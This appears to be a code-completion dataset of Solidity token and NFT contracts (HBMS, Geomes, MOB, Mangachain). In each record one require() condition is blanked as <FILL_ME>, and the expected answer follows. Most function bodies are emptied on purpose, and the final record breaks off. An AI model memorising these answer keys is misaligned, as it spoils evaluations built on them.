function setSaleStarted() external onlyOwner {
}
function buy(uint256 _optionId, address _toAddress) external payable whenSaleStarted {
}
function mint(uint256 _optionId, address _toAddress) public whenSaleStarted {
require(<FILL_ME>)
require(canMint(_optionId), "cannot_mint");
if (_optionId == SINGLE_OPTION) {
mintSingleToken(_toAddress);
} else if (_optionId == FIVE_OPTION) {
for (
uint256 i = 0;
i < NUM_IN_FIVE_OPTION;
i++
) {
mintSingleToken(_toAddress);
}
} else if (_optionId == TEN_OPTION) {
for (
uint256 i = 0;
i < NUM_IN_TEN_OPTION;
i++
) {
mintSingleToken(_toAddress);
}
}
deductBalance(_optionId);
}
function canBuy(uint _optionId, address _sender) internal view returns (bool){
}
function canMint(uint256 _optionId) internal view returns (bool) {
}
function deductBalance(uint _optionId) internal {
}
function tokenURI(uint256 _tokenId) override public pure returns (string memory) {
}
function mintSingleToken(address recipient)
internal
returns (uint256)
{
}
function withdraw() external onlyOwner {
}
}
| canBuy(_optionId,_msgSender()),"cannot_buy" | 325,713 | canBuy(_optionId,_msgSender()) |
"cannot_mint" | //Contract based on https://docs.openzeppelin.com/contracts/3.x/erc721
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.3;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract HBMS is ERC721, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
mapping(address => uint256) private addressToBalance;
uint256 public constant SUPPLY = 10000;
uint256 private NUM_OPTIONS = 3;
uint256 private SINGLE_OPTION = 0;
uint256 private FIVE_OPTION = 1;
uint256 private TEN_OPTION = 2;
uint256 private NUM_IN_FIVE_OPTION = 5;
uint256 private NUM_IN_TEN_OPTION = 10;
uint PRICE = 4; // * 0.01 = ether
bool SALE_STARTED = false;
string public PROVENANCE = "";
constructor() ERC721("High Bunch Munch Station", "HBMS") {}
modifier whenSaleStarted() {
}
function contractURI() public pure returns (string memory) {
}
function baseTokenURI() public pure returns (string memory) {
}
function _baseURI() internal pure returns (string memory) {
}
function setProvenanceHash(string memory _hash) external onlyOwner {
}
function setSaleStarted() external onlyOwner {
}
function buy(uint256 _optionId, address _toAddress) external payable whenSaleStarted {
}
function mint(uint256 _optionId, address _toAddress) public whenSaleStarted {
require(canBuy(_optionId, _msgSender()), "cannot_buy");
require(<FILL_ME>)
if (_optionId == SINGLE_OPTION) {
mintSingleToken(_toAddress);
} else if (_optionId == FIVE_OPTION) {
for (
uint256 i = 0;
i < NUM_IN_FIVE_OPTION;
i++
) {
mintSingleToken(_toAddress);
}
} else if (_optionId == TEN_OPTION) {
for (
uint256 i = 0;
i < NUM_IN_TEN_OPTION;
i++
) {
mintSingleToken(_toAddress);
}
}
deductBalance(_optionId);
}
function canBuy(uint _optionId, address _sender) internal view returns (bool){
}
function canMint(uint256 _optionId) internal view returns (bool) {
}
function deductBalance(uint _optionId) internal {
}
function tokenURI(uint256 _tokenId) override public pure returns (string memory) {
}
function mintSingleToken(address recipient)
internal
returns (uint256)
{
}
function withdraw() external onlyOwner {
}
}
| canMint(_optionId),"cannot_mint" | 325,713 | canMint(_optionId) |
"not_enough_eth_balance" | //Contract based on https://docs.openzeppelin.com/contracts/3.x/erc721
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.3;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract HBMS is ERC721, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
mapping(address => uint256) private addressToBalance;
uint256 public constant SUPPLY = 10000;
uint256 private NUM_OPTIONS = 3;
uint256 private SINGLE_OPTION = 0;
uint256 private FIVE_OPTION = 1;
uint256 private TEN_OPTION = 2;
uint256 private NUM_IN_FIVE_OPTION = 5;
uint256 private NUM_IN_TEN_OPTION = 10;
uint PRICE = 4; // * 0.01 = ether
bool SALE_STARTED = false;
string public PROVENANCE = "";
constructor() ERC721("High Bunch Munch Station", "HBMS") {}
modifier whenSaleStarted() {
}
function contractURI() public pure returns (string memory) {
}
function baseTokenURI() public pure returns (string memory) {
}
function _baseURI() internal pure returns (string memory) {
}
function setProvenanceHash(string memory _hash) external onlyOwner {
}
function setSaleStarted() external onlyOwner {
}
function buy(uint256 _optionId, address _toAddress) external payable whenSaleStarted {
}
function mint(uint256 _optionId, address _toAddress) public whenSaleStarted {
}
function canBuy(uint _optionId, address _sender) internal view returns (bool){
}
function canMint(uint256 _optionId) internal view returns (bool) {
}
function deductBalance(uint _optionId) internal {
if (_msgSender() == owner()) return;
uint value = 0;
if (_optionId == SINGLE_OPTION) {
value = (10000000000000000 * PRICE);
} else if (_optionId == FIVE_OPTION) {
value = (10000000000000000 * PRICE) * NUM_IN_FIVE_OPTION;
} else if (_optionId == TEN_OPTION) {
value = (10000000000000000 * PRICE) * NUM_IN_TEN_OPTION;
}
require(<FILL_ME>)
addressToBalance[_msgSender()] = addressToBalance[_msgSender()] - value;
}
function tokenURI(uint256 _tokenId) override public pure returns (string memory) {
}
function mintSingleToken(address recipient)
internal
returns (uint256)
{
}
function withdraw() external onlyOwner {
}
}
| addressToBalance[_msgSender()]>=value,"not_enough_eth_balance" | 325,713 | addressToBalance[_msgSender()]>=value |
"WhitelistCrowdsale: beneficiary not whitelisted" | pragma solidity ^0.5.0;
// custom validation using the whitelister contract
contract WhitelistCrowdsale is Crowdsale {
address public whitelister;
constructor(address _whitelister) public {
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal view {
require(<FILL_ME>)
super._preValidatePurchase(_beneficiary, _weiAmount);
}
function isWhitelisted(address _address) external view returns (bool) {
}
}
interface IWhitelister {
function whitelisted(address _address) external view returns (bool);
}
| IWhitelister(whitelister).whitelisted(_beneficiary)==true,"WhitelistCrowdsale: beneficiary not whitelisted" | 325,740 | IWhitelister(whitelister).whitelisted(_beneficiary)==true |
null | pragma solidity ^0.5.17;
interface Callable {
function tokenCallback(address _from, uint256 _tokens, bytes calldata _data) external returns (bool);
}
contract MOB {
uint256 constant private FLOAT_SCALAR = 2**64;
uint256 constant private INITIAL_SUPPLY = 1e27; // 1B
uint256 constant private BURN_RATE = 3; // 3% per tx
uint256 constant private SUPPLY_FLOOR = 20; // 20% of 1B = 200M
uint256 constant private MIN_FREEZE_AMOUNT = 1e19; // 10
string constant public name = "MOB My Own Bank";
string constant public symbol = "MBX";
uint8 constant public decimals = 18;
struct User {
bool whitelisted;
uint256 balance;
uint256 frozen;
mapping(address => uint256) allowance;
int256 scaledPayout;
}
struct Info {
uint256 totalSupply;
uint256 totalFrozen;
mapping(address => User) users;
uint256 scaledPayoutPerToken;
address admin;
}
Info private info;
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed owner, address indexed spender, uint256 tokens);
event Whitelist(address indexed user, bool status);
event Freeze(address indexed owner, uint256 tokens);
event Unfreeze(address indexed owner, uint256 tokens);
event Collect(address indexed owner, uint256 tokens);
event Burn(uint256 tokens);
constructor() public {
}
function freeze(uint256 _tokens) external {
}
function unfreeze(uint256 _tokens) external {
}
function collect() external returns (uint256) {
}
function burn(uint256 _tokens) external {
}
function distribute(uint256 _tokens) external {
}
function transfer(address _to, uint256 _tokens) external returns (bool) {
}
function approve(address _spender, uint256 _tokens) external returns (bool) {
}
function transferFrom(address _from, address _to, uint256 _tokens) external returns (bool) {
}
function transferAndCall(address _to, uint256 _tokens, bytes calldata _data) external returns (bool) {
}
function bulkTransfer(address[] calldata _receivers, uint256[] calldata _amounts) external {
}
function whitelist(address _user, bool _status) public {
}
function totalSupply() public view returns (uint256) {
}
function totalFrozen() public view returns (uint256) {
}
function balanceOf(address _user) public view returns (uint256) {
}
function frozenOf(address _user) public view returns (uint256) {
}
function dividendsOf(address _user) public view returns (uint256) {
}
function allowance(address _user, address _spender) public view returns (uint256) {
}
function isWhitelisted(address _user) public view returns (bool) {
}
function allInfoFor(address _user) public view returns (uint256 totalTokenSupply, uint256 totalTokensFrozen, uint256 userBalance, uint256 userFrozen, uint256 userDividends) {
}
function _transfer(address _from, address _to, uint256 _tokens) internal returns (uint256) {
}
function _freeze(uint256 _amount) internal {
require(balanceOf(msg.sender) >= _amount);
require(<FILL_ME>)
info.totalFrozen += _amount;
info.users[msg.sender].frozen += _amount;
info.users[msg.sender].scaledPayout += int256(_amount * info.scaledPayoutPerToken);
emit Transfer(msg.sender, address(this), _amount);
emit Freeze(msg.sender, _amount);
}
function _unfreeze(uint256 _amount) internal {
}
}
| frozenOf(msg.sender)+_amount>=MIN_FREEZE_AMOUNT | 325,783 | frozenOf(msg.sender)+_amount>=MIN_FREEZE_AMOUNT |
null | pragma solidity ^0.5.17;
interface Callable {
function tokenCallback(address _from, uint256 _tokens, bytes calldata _data) external returns (bool);
}
contract MOB {
uint256 constant private FLOAT_SCALAR = 2**64;
uint256 constant private INITIAL_SUPPLY = 1e27; // 1B
uint256 constant private BURN_RATE = 3; // 3% per tx
uint256 constant private SUPPLY_FLOOR = 20; // 20% of 1B = 200M
uint256 constant private MIN_FREEZE_AMOUNT = 1e19; // 10
string constant public name = "MOB My Own Bank";
string constant public symbol = "MBX";
uint8 constant public decimals = 18;
struct User {
bool whitelisted;
uint256 balance;
uint256 frozen;
mapping(address => uint256) allowance;
int256 scaledPayout;
}
struct Info {
uint256 totalSupply;
uint256 totalFrozen;
mapping(address => User) users;
uint256 scaledPayoutPerToken;
address admin;
}
Info private info;
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed owner, address indexed spender, uint256 tokens);
event Whitelist(address indexed user, bool status);
event Freeze(address indexed owner, uint256 tokens);
event Unfreeze(address indexed owner, uint256 tokens);
event Collect(address indexed owner, uint256 tokens);
event Burn(uint256 tokens);
constructor() public {
}
function freeze(uint256 _tokens) external {
}
function unfreeze(uint256 _tokens) external {
}
function collect() external returns (uint256) {
}
function burn(uint256 _tokens) external {
}
function distribute(uint256 _tokens) external {
}
function transfer(address _to, uint256 _tokens) external returns (bool) {
}
function approve(address _spender, uint256 _tokens) external returns (bool) {
}
function transferFrom(address _from, address _to, uint256 _tokens) external returns (bool) {
}
function transferAndCall(address _to, uint256 _tokens, bytes calldata _data) external returns (bool) {
}
function bulkTransfer(address[] calldata _receivers, uint256[] calldata _amounts) external {
}
function whitelist(address _user, bool _status) public {
}
function totalSupply() public view returns (uint256) {
}
function totalFrozen() public view returns (uint256) {
}
function balanceOf(address _user) public view returns (uint256) {
}
function frozenOf(address _user) public view returns (uint256) {
}
function dividendsOf(address _user) public view returns (uint256) {
}
function allowance(address _user, address _spender) public view returns (uint256) {
}
function isWhitelisted(address _user) public view returns (bool) {
}
function allInfoFor(address _user) public view returns (uint256 totalTokenSupply, uint256 totalTokensFrozen, uint256 userBalance, uint256 userFrozen, uint256 userDividends) {
}
function _transfer(address _from, address _to, uint256 _tokens) internal returns (uint256) {
}
function _freeze(uint256 _amount) internal {
}
function _unfreeze(uint256 _amount) internal {
require(<FILL_ME>)
uint256 _burnedAmount = _amount * BURN_RATE / 100;
info.scaledPayoutPerToken += _burnedAmount * FLOAT_SCALAR / info.totalFrozen;
info.totalFrozen -= _amount;
info.users[msg.sender].balance -= _burnedAmount;
info.users[msg.sender].frozen -= _amount;
info.users[msg.sender].scaledPayout -= int256(_amount * info.scaledPayoutPerToken);
emit Transfer(address(this), msg.sender, _amount - _burnedAmount);
emit Unfreeze(msg.sender, _amount);
}
}
| frozenOf(msg.sender)>=_amount | 325,783 | frozenOf(msg.sender)>=_amount |
'Sale has already ended' | // SPDX-License-Identifier: UNLICENSED
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol';
pragma solidity ^0.8.0;
contract GeomesToken is ERC721Enumerable, Ownable {
uint256 public constant MAX = 2000;
uint256 public constant price = 0.02 ether;
mapping(uint256 => uint256) public creationDates;
// will be set after the sale ends
string public _generatorBaseURI;
string private _metadataBaseURI;
constructor() ERC721('Geomes', 'GEOM') {
}
function mint(uint256 count) public payable {
require(<FILL_ME>)
require(count > 0 && count <= 20, 'Can mint 1..20');
require(totalSupply() + count <= MAX, 'Not enough left');
require(msg.value >= price * count, 'Not enough ether');
for (uint256 i = 0; i < count; i++) {
uint256 mintIndex = totalSupply() + 1;
creationDates[mintIndex] = block.number;
_safeMint(msg.sender, mintIndex);
}
}
function tokenHash(uint256 tokenId) public view returns (bytes32) {
}
function tokenGeneratorURI(uint256 tokenId)
public
view
returns (string memory)
{
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setGeneratorBaseURI(string memory uri) public onlyOwner {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
function withdrawAll() public payable onlyOwner {
}
}
| totalSupply()<MAX,'Sale has already ended' | 325,784 | totalSupply()<MAX |
'Not enough left' | // SPDX-License-Identifier: UNLICENSED
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol';
pragma solidity ^0.8.0;
contract GeomesToken is ERC721Enumerable, Ownable {
uint256 public constant MAX = 2000;
uint256 public constant price = 0.02 ether;
mapping(uint256 => uint256) public creationDates;
// will be set after the sale ends
string public _generatorBaseURI;
string private _metadataBaseURI;
constructor() ERC721('Geomes', 'GEOM') {
}
function mint(uint256 count) public payable {
require(totalSupply() < MAX, 'Sale has already ended');
require(count > 0 && count <= 20, 'Can mint 1..20');
require(<FILL_ME>)
require(msg.value >= price * count, 'Not enough ether');
for (uint256 i = 0; i < count; i++) {
uint256 mintIndex = totalSupply() + 1;
creationDates[mintIndex] = block.number;
_safeMint(msg.sender, mintIndex);
}
}
function tokenHash(uint256 tokenId) public view returns (bytes32) {
}
function tokenGeneratorURI(uint256 tokenId)
public
view
returns (string memory)
{
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setGeneratorBaseURI(string memory uri) public onlyOwner {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
function withdrawAll() public payable onlyOwner {
}
}
| totalSupply()+count<=MAX,'Not enough left' | 325,784 | totalSupply()+count<=MAX |
null | /**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
/**
* @title ERC223
* @dev ERC223 contract interface with ERC20 functions and events
* Fully backward compatible with ERC20
* Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended
*/
contract ERC223 {
uint public totalSupply;
// ERC223 and ERC20 functions and events
function balanceOf(address who) public view returns (uint);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
// ERC223 functions
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
// ERC20 functions and events
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
/**
* @title ContractReceiver
* @dev Contract that is working with ERC223 tokens
*/
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
}
}
/**
* @title MangachainToken
* @dev MangachainToken is an ERC223 Token with ERC20 functions and events
* Fully backward compatible with ERC20
*/
contract MangachainToken is ERC223, Pausable {
using SafeMath for uint256;
string public name = "Mangachain Token";
string public symbol = "MCT";
uint8 public decimals = 8;
uint256 public totalSupply = 5e10 * 1e8;
uint256 public distributeAmount = 0;
bool public mintingFinished = false;
address public depositAddress;
mapping(address => uint256) public balanceOf;
mapping(address => mapping (address => uint256)) public allowance;
mapping (address => uint256) public unlockUnixTime;
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed from, uint256 amount);
event Mint(address indexed to, uint256 amount);
event MintFinished();
/**
* @dev Constructor is called only once and can not be called again
*/
function MangachainToken(address _team, address _development, address _marketing, address _release, address _deposit) public {
}
function name() public view returns (string _name) {
}
function symbol() public view returns (string _symbol) {
}
function decimals() public view returns (uint8 _decimals) {
}
function totalSupply() public view returns (uint256 _totalSupply) {
}
function balanceOf(address _owner) public view returns (uint256 balance) {
}
/**
* @dev Prevent targets from sending or receiving tokens by setting Unix times
* @param targets Addresses to be locked funds
* @param unixTimes Unix times when locking up will be finished
*/
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint i = 0; i < targets.length; i++){
require(<FILL_ME>)
unlockUnixTime[targets[i]] = unixTimes[i];
LockedFunds(targets[i], unixTimes[i]);
}
}
/**
* @dev Function that is called when a user or another contract wants to transfer funds
*/
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) whenNotPaused public returns (bool success) {
}
function transfer(address _to, uint _value, bytes _data) whenNotPaused public returns (bool success) {
}
/**
* @dev Standard function transfer similar to ERC20 transfer with no _data
* Added due to backwards compatibility reasons
*/
function transfer(address _to, uint _value) whenNotPaused public returns (bool success) {
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
}
// function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
}
/**
* @dev Transfer tokens from one address to another
* Added due to backwards compatibility with ERC20
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) whenNotPaused public returns (bool success) {
}
/**
* @dev Allows _spender to spend no more than _value tokens in your behalf
* Added due to backwards compatibility with ERC20
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) whenNotPaused public returns (bool success) {
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender
* Added due to backwards compatibility with ERC20
* @param _owner address The address which owns the funds
* @param _spender address The address which will spend the funds
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
}
function distributeTokens(address[] addresses, uint[] amounts) whenNotPaused public returns (bool) {
}
/**
* @dev To collect tokens from target addresses. This function is used when we collect tokens which transfer to our service.
* @param _targets collect target addresses
*/
function collectTokens(address[] _targets) onlyOwner whenNotPaused public returns (bool) {
}
function setDepositAddress(address _addr) onlyOwner whenNotPaused public {
}
/**
* @dev Burns a specific amount of tokens.
* @param _from The address that will burn the tokens.
* @param _unitAmount The amount of token to be burned.
*/
function burn(address _from, uint256 _unitAmount) onlyOwner public {
}
modifier canMint() {
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _unitAmount The amount of tokens to mint.
*/
function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) {
}
/**
* @dev Function to stop minting new tokens.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
}
function setDistributeAmount(uint256 _unitAmount) onlyOwner public {
}
/**
* @dev Function to distribute tokens to the msg.sender automatically
* If distributeAmount is 0, this function doesn't work
*/
function autoDistribute() payable public {
}
/**
* @dev fallback function
*/
function() payable public {
}
}
| unlockUnixTime[targets[i]]<unixTimes[i] | 325,864 | unlockUnixTime[targets[i]]<unixTimes[i] |
null | /**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
/**
* @title ERC223
* @dev ERC223 contract interface with ERC20 functions and events
* Fully backward compatible with ERC20
* Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended
*/
contract ERC223 {
uint public totalSupply;
// ERC223 and ERC20 functions and events
function balanceOf(address who) public view returns (uint);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
// ERC223 functions
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
// ERC20 functions and events
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
/**
* @title ContractReceiver
* @dev Contract that is working with ERC223 tokens
*/
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
}
}
/**
* @title MangachainToken
* @dev MangachainToken is an ERC223 Token with ERC20 functions and events
* Fully backward compatible with ERC20
*/
contract MangachainToken is ERC223, Pausable {
using SafeMath for uint256;
string public name = "Mangachain Token";
string public symbol = "MCT";
uint8 public decimals = 8;
uint256 public totalSupply = 5e10 * 1e8;
uint256 public distributeAmount = 0;
bool public mintingFinished = false;
address public depositAddress;
mapping(address => uint256) public balanceOf;
mapping(address => mapping (address => uint256)) public allowance;
mapping (address => uint256) public unlockUnixTime;
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed from, uint256 amount);
event Mint(address indexed to, uint256 amount);
event MintFinished();
/**
* @dev Constructor is called only once and can not be called again
*/
function MangachainToken(address _team, address _development, address _marketing, address _release, address _deposit) public {
}
function name() public view returns (string _name) {
}
function symbol() public view returns (string _symbol) {
}
function decimals() public view returns (uint8 _decimals) {
}
function totalSupply() public view returns (uint256 _totalSupply) {
}
function balanceOf(address _owner) public view returns (uint256 balance) {
}
/**
* @dev Prevent targets from sending or receiving tokens by setting Unix times
* @param targets Addresses to be locked funds
* @param unixTimes Unix times when locking up will be finished
*/
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
}
/**
* @dev Function that is called when a user or another contract wants to transfer funds
*/
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) whenNotPaused public returns (bool success) {
}
function transfer(address _to, uint _value, bytes _data) whenNotPaused public returns (bool success) {
}
/**
* @dev Standard function transfer similar to ERC20 transfer with no _data
* Added due to backwards compatibility reasons
*/
function transfer(address _to, uint _value) whenNotPaused public returns (bool success) {
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
}
// function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
}
/**
* @dev Transfer tokens from one address to another
* Added due to backwards compatibility with ERC20
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) whenNotPaused public returns (bool success) {
}
/**
* @dev Allows _spender to spend no more than _value tokens in your behalf
* Added due to backwards compatibility with ERC20
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) whenNotPaused public returns (bool success) {
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender
* Added due to backwards compatibility with ERC20
* @param _owner address The address which owns the funds
* @param _spender address The address which will spend the funds
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
}
function distributeTokens(address[] addresses, uint[] amounts) whenNotPaused public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length
&& now > unlockUnixTime[msg.sender]);
uint256 totalAmount = 0;
for(uint i = 0; i < addresses.length; i++){
require(<FILL_ME>)
amounts[i] = amounts[i].mul(1e8);
totalAmount = totalAmount.add(amounts[i]);
}
require(balanceOf[msg.sender] >= totalAmount);
for (i = 0; i < addresses.length; i++) {
balanceOf[addresses[i]] = balanceOf[addresses[i]].add(amounts[i]);
Transfer(msg.sender, addresses[i], amounts[i]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
/**
* @dev To collect tokens from target addresses. This function is used when we collect tokens which transfer to our service.
* @param _targets collect target addresses
*/
function collectTokens(address[] _targets) onlyOwner whenNotPaused public returns (bool) {
}
function setDepositAddress(address _addr) onlyOwner whenNotPaused public {
}
/**
* @dev Burns a specific amount of tokens.
* @param _from The address that will burn the tokens.
* @param _unitAmount The amount of token to be burned.
*/
function burn(address _from, uint256 _unitAmount) onlyOwner public {
}
modifier canMint() {
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _unitAmount The amount of tokens to mint.
*/
function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) {
}
/**
* @dev Function to stop minting new tokens.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
}
function setDistributeAmount(uint256 _unitAmount) onlyOwner public {
}
/**
* @dev Function to distribute tokens to the msg.sender automatically
* If distributeAmount is 0, this function doesn't work
*/
function autoDistribute() payable public {
}
/**
* @dev fallback function
*/
function() payable public {
}
}
| amounts[i]>0&&addresses[i]!=0x0&&now>unlockUnixTime[addresses[i]] | 325,864 | amounts[i]>0&&addresses[i]!=0x0&&now>unlockUnixTime[addresses[i]] |
null | /**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
/**
* @title ERC223
* @dev ERC223 contract interface with ERC20 functions and events
* Fully backward compatible with ERC20
* Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended
*/
contract ERC223 {
uint public totalSupply;
// ERC223 and ERC20 functions and events
function balanceOf(address who) public view returns (uint);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
// ERC223 functions
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
// ERC20 functions and events
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
/**
* @title ContractReceiver
* @dev Contract that is working with ERC223 tokens
*/
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
}
}
/**
* @title MangachainToken
* @dev MangachainToken is an ERC223 Token with ERC20 functions and events
* Fully backward compatible with ERC20
*/
contract MangachainToken is ERC223, Pausable {
using SafeMath for uint256;
string public name = "Mangachain Token";
string public symbol = "MCT";
uint8 public decimals = 8;
uint256 public totalSupply = 5e10 * 1e8;
uint256 public distributeAmount = 0;
bool public mintingFinished = false;
address public depositAddress;
mapping(address => uint256) public balanceOf;
mapping(address => mapping (address => uint256)) public allowance;
mapping (address => uint256) public unlockUnixTime;
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed from, uint256 amount);
event Mint(address indexed to, uint256 amount);
event MintFinished();
/**
* @dev Constructor is called only once and can not be called again
*/
function MangachainToken(address _team, address _development, address _marketing, address _release, address _deposit) public {
}
function name() public view returns (string _name) {
}
function symbol() public view returns (string _symbol) {
}
function decimals() public view returns (uint8 _decimals) {
}
function totalSupply() public view returns (uint256 _totalSupply) {
}
function balanceOf(address _owner) public view returns (uint256 balance) {
}
/**
* @dev Prevent targets from sending or receiving tokens by setting Unix times
* @param targets Addresses to be locked funds
* @param unixTimes Unix times when locking up will be finished
*/
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
}
/**
* @dev Function that is called when a user or another contract wants to transfer funds
*/
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) whenNotPaused public returns (bool success) {
}
function transfer(address _to, uint _value, bytes _data) whenNotPaused public returns (bool success) {
}
/**
* @dev Standard function transfer similar to ERC20 transfer with no _data
* Added due to backwards compatibility reasons
*/
function transfer(address _to, uint _value) whenNotPaused public returns (bool success) {
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
}
// function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
}
/**
* @dev Transfer tokens from one address to another
* Added due to backwards compatibility with ERC20
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) whenNotPaused public returns (bool success) {
}
/**
* @dev Allows _spender to spend no more than _value tokens in your behalf
* Added due to backwards compatibility with ERC20
